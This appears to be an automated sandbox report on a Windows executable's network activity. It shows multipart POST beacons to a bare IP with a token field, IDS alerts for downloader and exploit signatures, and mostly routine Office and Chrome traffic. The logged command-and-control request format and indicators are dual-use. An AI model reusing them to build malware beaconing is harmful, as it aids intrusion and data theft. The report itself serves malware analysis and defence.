74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="message"ybncbhylepme------HDAKFCGIJKJKFHIDHIII--
Source: global traffic	HTTP traffic detected: POST /4d3324bde875e159.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJHost: 95.215.204.182Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKJDAEGCAFIIDGDGCGIJ--

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49715 -> 95.215.204.182:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49911 -> 95.215.204.182:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.6:49776
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.6:50062

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49786 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.204.182

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NWXVxHxY+57Vohm&MD=L5AwcdeN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
